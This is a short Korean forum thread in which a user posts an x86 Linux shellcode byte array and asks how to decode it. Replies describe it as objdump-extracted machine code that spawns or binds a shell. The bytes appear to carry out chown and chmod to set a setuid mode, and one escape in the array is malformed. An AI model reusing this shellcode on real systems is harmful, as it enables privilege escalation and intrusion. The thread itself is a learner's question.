쉘코드 어떻게 보아야 하죠? ex) \x90\x90...

ktlsu1231의 이미지

안녕하세요.

아래와 같은 쉘코드는 어떻게 보아야 하나요?
유니코드도 아닌 것 같구 --;;?

char cliphcode[]=
"\x90\x90\web\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; //셸코드

무슨 내용인지 정말 궁금합니다.
아스키코드 같은 것으로 바꾸어 볼 수 있는 방법은 없을까요?
감사합니다. :o

advanced의 이미지

코드를

objdump -d 파일이름

등으로 핵사 코드로 뽑아낸것입니다

그 내용에는 /bin/sh 등을 실행 시키는 등의 내용이 있겠지요

익명 사용자의 이미지

/bin/sh이나 bind shell을 열거나 reverse connection을 맺을 수 있도록 하는 것입니다. 단순한 인코딩이 아니고 OS와 CPU에 따라 다른 어셈블리어도 작성한 것입니다.

ktlsu1231의 이미지

감사합니다.

Quote:
단순한 인코딩이 아니고 OS와 CPU에 따라 다른 어셈블리어도 작성한 것입니다

그럼 무엇을 의미하는지 볼 수 없다는 말씀인 거죠?

익명 사용자의 이미지

어셈블리어 및 기계어에 대해 해박한 지식이 있다면 무슨 의미인지 알수 있기는 합니다.
그래도 역시 노가다가 필요하겠지요.